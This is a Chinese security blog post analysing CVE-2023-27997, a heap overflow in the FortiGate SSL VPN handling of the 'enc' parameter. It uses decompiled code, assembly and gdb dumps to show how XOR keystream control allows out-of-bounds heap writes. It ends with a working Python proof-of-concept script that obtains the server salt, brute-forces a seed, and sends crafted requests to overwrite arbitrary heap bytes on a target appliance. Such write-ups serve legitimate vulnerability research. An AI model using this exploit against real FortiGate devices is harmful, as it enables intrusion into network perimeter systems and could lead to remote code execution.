CVE-2023-27997 FortiGate SSLVPN HeapOverflow 漏洞分析
2023-11-6 08:4:14 Author: ChaMd5安全团队(查看原文) 阅读量:164 收藏

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组

前言

复现完 CVE-2022-42475之后,便关注到了此漏洞。这是一个由于边界大小判断不当,从而导致的一个堆上越界写的漏洞,可实现任意命令执行。由于笔者的逆向能力不是很好,本漏洞也是跟着其他师傅的博客复现而成,如果本文中的描述有什么不准确的地方,还请各位师傅海涵。

漏洞分析

漏洞出现在 sslvpnenc参数处理的函数中,这里把他重命名为 parse_enc_data

v22 = find_header(*(_QWORD *)(v11 + 744), (const char *)&byte_3347915);
  if ( v22 && (int)parse_enc_data(v11, a1, v22) < 0 )
  {
    log___(v11, 8LL, (__int64)"could not decode 'enc' data properly.");
    v16 = 4100;
LABEL_20:
    if ( *((__int64 *)v19 + 405) > 0 )
      sub_16FD7E0(*a1, v19 + 3240);
    sprintf(v97, "/remote/error?msg=%d", v16);

.rodata:0000000003347915 65                      byte_3347915    db 'e'                  ; DATA XREF: sub_1729160+6F↑o .rodata:0000000003347915                                                                 ; sub_17300E0+1B7↑o ...
.rodata:0000000003347916 6E                                      db 'n'
.rodata:0000000003347917 63                                      db 'c'

函数中,先是判断了 enc的长度是否大于 11并且是否是偶数。如果 enc的长度大于 11并且是偶数才会进行接下来进一步的处理。

__int64 __fastcall parse_enc_data(__int64 a1, __int64 *pool, const char *enc)
{
  ...

  v25 = __readfsqword(0x28u);
  v4 = strlen(enc);
  enc_raw_len = v4;
  v19 = v4;
  if ( v4 <= 11 || (v4 & 1) != 0 )
  {
    log___(a1, 8LL, (__int64)"enc data length invalid (%d)\n", (unsigned int)v4);
    return 0xFFFFFFFFLL;
  }

接着是用 md5对密钥流进行初始化。其中 salt由服务器产生,可通过请求 /remote/info获取到它的值,enc的前八个字节由我们控制,还有一个固定的字符串。接着根据 (enc_raw_len >> 1) + 1 分配缓冲区。并对 enc传入的数据进行处理,并赋值到分配的堆上。具体处理方式就是将原来传进来的字符串,以两个字节的 ascii看成一个新的字节。比如传进来的是 **"010203040506abcdefgh"**字符串,那么就会转为 **"\x01\x02\x03\x04\x05\x06\xab\xcd\xef\xgh"**储存到堆上,并在末尾置零。这大概也就是为什么之前分配空间时,以输入长度的 1/2进行分配的原因。

sub_17318E0(salt, (__int64)enc, 8, (__int64)md5);
ptr = (const char *)sub_16D1AC0(*pool, (enc_raw_len >> 1) + 1);
if ( ptr )
{
v5 = 0LL;
do
{
  v6 = sub_175BD40(enc[2 * v5]);
  ptr[v5] = sub_175BD40(enc[2 * v5 + 1]) + 16 * v6;
  ++v5;
}
while ( v19 > 2 * (int)v5 );
v7 = ((unsigned int)(enc_raw_len - 1) >> 1) + 1;
if ( enc_raw_len <= 0 )
    v7 = 1;
ptr[v7] = 0;
    
unsigned __int64 __fastcall sub_17318E0(char *salt, __int64 enc, int len, __int64 md5)
{
  __int64 v6; // rax
  char v8[104]; // [rsp+0h] [rbp-90h] BYREF
  unsigned __int64 v9; // [rsp+68h] [rbp-28h]

  v9 = __readfsqword(0x28u);
  MD5_Init(v8);
  v6 = strlen(salt);
  MD5_Update((__int64)v8, (__int64)salt, v6);
  MD5_Update((__int64)v8, enc, len);
  MD5_Update((__int64)v8, (__int64)"GCC is the GNU Compiler Collection."35LL);
  MD5_Final(md5, (__int64)v8);
  return v9 - __readfsqword(0x28u);
}

(gdb) x/s 0x7f20df4decf8
0x7f20df4decf8"010203040506abcdefgh"
(gdb) x/20b0x7f20df4decf8
0x7f20df4decf80x30    0x31    0x30    0x32    0x30    0x33    0x30    0x34
0x7f20df4ded000x30    0x35    0x30    0x36    0x61    0x62    0x63    0x64
0x7f20df4ded080x65    0x66    0x67    0x68

(gdb) x/20b0x7f20df4ded10
0x7f20df4ded100x01    0x02    0x03    0x04    0x05    0x06    0xab    0xcd
0x7f20df4ded180xef

接下来解密部分的伪代码我感觉是IDA反编译有问题(或者是笔者逆向功底不够)。根据汇编,笔者认为三处加了注释的地方均有问题,正确的伪代码应该如注释所示。也就是enc_raw_len-5real_size进行比较。判断的是 raw_size经过 xor之后得到的 real_size是否存在。并且循环次数是 real_size - 1。所以这里就会存在一个堆溢出。因为是通过 (enc_raw_len >> 1) + 1分配的堆空间,而解密的循环次数(real_size)则可以完全被我们控制,并且只要满足 enc_raw_len-5>real_size即可。也就是只要满足 (enc_raw_len >> 1) + 1<real_size<enc_raw_len-5,就可以实现堆上越界写。

raw_size = *((_WORD *)v8 + 2);
real_size = (unsigned __int8)(raw_size ^ md5[0]);
BYTE1(real_size) = md5[1] ^ HIBYTE(raw_size);
if(enc_raw_len - 5 <= (unsigned __int8)(raw_size ^ md5[0]) ) //enc_raw_len-5<=real_size
{
   ...
}
...
data_ptr = v8 + 6;
ptr = data_ptr;
if ( (unsigned __int8)raw_size != md5[0] ) // if (real_size)
{
  real_size_1 = (unsigned int)(unsigned __int8)(raw_size ^ md5[0]) - 1;
    // real_size_1 = real_size - 1;
  cnt = 0LL;
  v15 = 2;
  while ( 1 )
    {
      data_ptr[cnt] ^= md5[v15]; // bof
      if ( real_size_1 == cnt )
        break;
      v15 = ((_BYTE)cnt + 3) & 0xF;
      if ( (((_BYTE)cnt + 3) & 0xF) == 0 )
      {
        v20 = real_size;
        MD5_Init(v23);
        MD5_Update((__int64)v23, (__int64)md5, 16LL);
        MD5_Final((__int64)md5, (__int64)v23);
        real_size = v20;
      }
      data_ptr = ptr;
      ++cnt;
    }
    data_ptr = &ptr[(unsigned __int16)real_size];
}
*data_ptr = 0;

.text:0000000001731714 48 83 C2 06                             add     rdx, 6
.text:0000000001731718 48 89 95 40 FF FF FF                    mov     [rbp+ptr], rdx
.text:000000000173171F 45 85 C0                                test    r8d, r8d
.text:0000000001731722 0F 84 87 00 00 00                       jz      loc_17317AF
.text:0000000001731728 45 868 FF                             lea     r13d, [r8-1]

漏洞利用

这里的异或会导致前面的数据被污染,同时原作者也提供了一种很好的思路。即利用二次异或值不变的特性,加上末尾置零的特性,来实现向后越界写任意数据。作者给出的例子是在溢出偏移为 5000的位置上写 \x50。计算出所需的 seed后。第一次来实现末尾置零,第二次恢复前面数据的同时,也成功把偏移为 5000的地方改成了 \x50

我利用该思路,尝试把溢出偏移为 0x10的值改为 0xaa。我申请的堆块大小为 0xfe8,溢出偏移为 0x10处应该是 0x7f20de80a010,可以发现被成功修改为 0xaa。接着循环利用此方式,即可实现写任意长度数据。

(gdb) i r rsi
rsi            0xfe8    4072
(gdb) ni
0x000000000173164e in ?? ()
(gdb) i r rax
rax            0x7f20de809018   139779148648472
(gdb) x/10gx 0x7f20de809018
0x7f20de809018: 0x565f15f46de5e4e9      0xd60a439f3f849e41
0x7f20de809028: 0x8e8abb7027401e05      0xcf46b2988c0117ee
0x7f20de809038: 0x772fe4c73b4664a1      0xb1087fe34b7b5a7b
0x7f20de809048: 0x90ac9ccd1e18d43f      0xbc94283552ba72f5
0x7f20de809058: 0x35d4acf803fde83a      0x913d36fe9630a124

...
(gdb) x/10gx 0x7f20de809018+0xfe8
0x7f20de80a000: 0x0000000000000000      0x0000000000000000
0x7f20de80a010: 0x00000000000000aa      0x0000000000000000
0x7f20de80a020: 0x0000000000000000      0x0000000000000000
0x7f20de80a030: 0x0000000000000000      0x0000000000000000
0x7f20de80a040: 0x0000000000000000      0x0000000000000000

剩下的则是如何控制程序执行流,这与之前写过的CVE-2022-42475大同小异,在此则不过多叙述。最后给出写一字节的 poc

import ssl
import time
import socket
import struct
import hashlib

IP = "192.168.229.163"
PORT = 4443

p32 = lambda x: struct.pack("<I", x)

def create_ssl_socket(_ip, _port):
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _socket.connect((_ip, _port))
    _context = ssl._create_unverified_context()
    _ssl_socket = _context.wrap_socket(_socket)
    return _ssl_socket

class Expliot(object):
    def __init__(self, _ip, _port):
        self.ip = _ip
        self.port = _port
        self.salt = None

    def get_salt(self, _socket):
        _request = """GET /remote/info HTTP/1.1\r\nHost: %s:%d\r\nConnection: close\r\n\r\n""" % (self.ip, self.port)
        _socket.sendall(_request.encode())
        if b"salt" not in (salt := _socket.recv(1024)):
            print("[-] Get salt fault")
            exit(0)
        self.salt = salt[salt.find(b"salt")+6:salt.find(b"salt")+14]
    
    def calc_packet_data_size(self, _size):
        self.BLOCK_HEAD = 0x18
        self.PACKET_SIZE = _size
        self.DISTANCE = self.PACKET_SIZE - self.BLOCK_HEAD - 6
        alloc_size = self.PACKET_SIZE
        alloc_size -= self.BLOCK_HEAD
        # target = (inlen >> 1) + 1
        inlen = (alloc_size - 1) << 1
        # inlen consists of a header of size 12 followed by the data in hexa
        inlen_data = inlen - 12
        inlen_unhex = inlen_data >> 1

        self.packet_data_size = inlen_unhex
    
    def calc_md5(self, _seed):
        assert len(_seed) == 8

        return hashlib.md5(self.salt + _seed + b"GCC is the GNU Compiler Collection.").digest()

    def create_payload(self, size=None, _seed="00000000"):
        md5 = self.calc_md5(_seed.encode())
        # print(md5)
        max_size = self.packet_data_size * 2

        if size is None:
            size = max_size
        elif size > max_size:
            print("create_payload: size > max_size")
            exit(0)
        len_high = (size >> 8) ^ md5[1]
        len_low = (size & 0xFF) ^ md5[0]

        data = bytes((len_low, len_high)) + b"1" * self.packet_data_size
        print(hex(size))
        print(hex(size & 0xFF))
        print(hex(size >> 8))
        payload = _seed + data.hex()

        return payload
    
    def get_seed_for_md5_byte(self, pos, value):
        distance = self.DISTANCE + pos
        distance += 2
        MD5_LEN = 16
        rounds, offset = divmod(distance, MD5_LEN)
        print(self.DISTANCE)
        print(divmod(distance, MD5_LEN))
        md5 = hashlib.md5

        for _seed in range(2**24):
            _seed = "00" + p32(_seed)[:3].hex()
            hash = self.calc_md5(_seed.encode())
            keystream = hash
            for i in range(rounds):
                hash = md5(hash).digest()
                keystream += hash
            if hash[offset] == value:
                print(_seed)
                print(keystream[self.DISTANCE + 2 : self.DISTANCE + 2 + pos + 1].hex())
                return _seed, keystream[self.DISTANCE + 2 : self.DISTANCE + 2 + pos + 1]
        print("[-] unable to get seed")
        exit(0)
    
    def send_payload(self, _sock, _data):
        _data = "ajax=1&username=asdf&realm=&enc=%s" % _data
        if len(_data) > 0x10000:
            print("[-] payload too long")
            exit(0)
        _request = """POST /remote/hostcheck_validate HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0\r\nContent-Type: text/plain;charset=UTF-8\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\n%s""" % (self.ip, self.port, len(_data), _data)
        # print(_request)
        _sock.sendall(_request.encode())
        _responce = _sock.recv(2048)

if __name__ == '__main__':
    
    exp = Expliot(IP, PORT)
    salt_sock = create_ssl_socket(IP, PORT)
    exp.get_salt(salt_sock)
    salt_sock.close()

    print(exp.salt)

    exp.calc_packet_data_size(0x1000)
    # print(hex(exp.packet_data_size))

    payload = exp.create_payload()

    sock = create_ssl_socket(IP, PORT)

    offset = 0x10
    value = 0xaa
    seed, _ = exp.get_seed_for_md5_byte(offset, value)
    payload = exp.create_payload(exp.DISTANCE+offset, seed)
    exp.send_payload(sock, payload)
    payload = exp.create_payload(exp.DISTANCE+offset+1, seed)
    exp.send_payload(sock, payload)
    sock.close()

参考链接

https://bestwing.me/CVE-2023-27997-FortiGate-SSLVPN-Heap-Overflow.html

https://labs.watchtowr.com/xortigate-or-cve-2023-27997/

https://blog.lexfo.fr/xortigate-cve-2023-27997.html

- END -


文章来源: http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247509691&idx=1&sn=cfd5c9081a2bdc5188eafba665114fe1&chksm=e89d8e63dfea0775a5ceb1d5092c47f133becf9a2464d8bd696d1bfeb153899af540913e134b&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh